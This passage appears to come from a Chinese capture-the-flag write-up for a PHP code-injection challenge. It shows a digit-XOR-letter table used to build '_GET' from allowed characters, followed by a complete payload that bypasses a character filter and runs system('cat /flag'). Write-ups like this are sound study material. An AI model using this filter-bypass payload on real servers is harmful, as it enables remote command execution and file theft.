3 ^ d = W
3 ^ e = V
3 ^ f = U
3 ^ g = T
3 ^ h = [
3 ^ i = Z
3 ^ j = Y
3 ^ k = X
3 ^ l = _
3 ^ m = ^
3 ^ n = ]
3 ^ o = \
3 ^ p = C
3 ^ q = B
3 ^ r = A
3 ^ s = @
3 ^ t = G
3 ^ u = F
3 ^ v = E
3 ^ w = D
3 ^ x = K
3 ^ y = J
3 ^ z = I
4 ^ a = U
4 ^ b = V
4 ^ c = W
4 ^ d = P
4 ^ e = Q
4 ^ f = R
4 ^ g = S
4 ^ h = \
4 ^ i = ]
4 ^ j = ^
4 ^ k = _
4 ^ l = X
4 ^ m = Y
4 ^ n = Z
4 ^ o = [
4 ^ p = D
4 ^ q = E
4 ^ r = F
4 ^ s = G
4 ^ t = @
4 ^ u = A
4 ^ v = B
4 ^ w = C
4 ^ x = L
4 ^ y = M
4 ^ z = N
5 ^ a = T
5 ^ b = W
5 ^ c = V
5 ^ d = Q
5 ^ e = P
5 ^ f = S
5 ^ g = R
5 ^ h = ]
5 ^ i = \
5 ^ j = _
5 ^ k = ^
5 ^ l = Y
5 ^ m = X
5 ^ n = [
5 ^ o = Z
5 ^ p = E
5 ^ q = D
5 ^ r = G
5 ^ s = F
5 ^ t = A
5 ^ u = @
5 ^ v = C
5 ^ w = B
5 ^ x = M
5 ^ y = L
5 ^ z = O
6 ^ a = W
6 ^ b = T
6 ^ c = U
6 ^ d = R
6 ^ e = S
6 ^ f = P
6 ^ g = Q
6 ^ h = ^
6 ^ i = _
6 ^ j = \
6 ^ k = ]
6 ^ l = Z
6 ^ m = [
6 ^ n = X
6 ^ o = Y
6 ^ p = F
6 ^ q = G
6 ^ r = D
6 ^ s = E
6 ^ t = B
6 ^ u = C
6 ^ v = @
6 ^ w = A
6 ^ x = N
6 ^ y = O
6 ^ z = L
7 ^ a = V
7 ^ b = U
7 ^ c = T
7 ^ d = S
7 ^ e = R
7 ^ f = Q
7 ^ g = P
7 ^ h = _
7 ^ i = ^
7 ^ j = ]
7 ^ k = \
7 ^ l = [
7 ^ m = Z
7 ^ n = Y
7 ^ o = X
7 ^ p = G
7 ^ q = F
7 ^ r = E
7 ^ s = D
7 ^ t = C
7 ^ u = B
7 ^ v = A
7 ^ w = @
7 ^ x = O
7 ^ y = N
7 ^ z = M
8 ^ a = Y
8 ^ b = Z
8 ^ c = [
8 ^ d = \
8 ^ e = ]
8 ^ f = ^
8 ^ g = _
8 ^ h = P
8 ^ i = Q
8 ^ j = R
8 ^ k = S
8 ^ l = T
8 ^ m = U
8 ^ n = V
8 ^ o = W
8 ^ p = H
8 ^ q = I
8 ^ r = J
8 ^ s = K
8 ^ t = L
8 ^ u = M
8 ^ v = N
8 ^ w = O
8 ^ x = @
8 ^ y = A
8 ^ z = B
9 ^ a = X
9 ^ b = [
9 ^ c = Z
9 ^ d = ]
9 ^ e = \
9 ^ f = _
9 ^ g = ^
9 ^ h = Q
9 ^ i = P
9 ^ j = S
9 ^ k = R
9 ^ l = U
9 ^ m = T
9 ^ n = W
9 ^ o = V
9 ^ p = I
9 ^ q = H
9 ^ r = K
9 ^ s = J
9 ^ t = M
9 ^ u = L
9 ^ v = O
9 ^ w = N
9 ^ x = A
9 ^ y = @
9 ^ z = C
在其中找到 _GET = "9779" ^ "fprm" ,[]被过滤了,但是没关系{}也可以实现同样的效果。
构造payload : ?c=$pi=base_convert;$pi=$pi(733234,10,36)^$pi(429237,10,36);$$pi{0}($$pi{1})&0=system&1=cat /flag
得到flag
其他的解法看大佬的博客吧,刷到这里我已经觉得自己能力不足了。看来要停止刷题了去web学习了。(而且好像写的太多了,打字都是卡的,把这个定为上吧,开学接着写下)
手机扫一扫
移动阅读更方便
你可能感兴趣的文章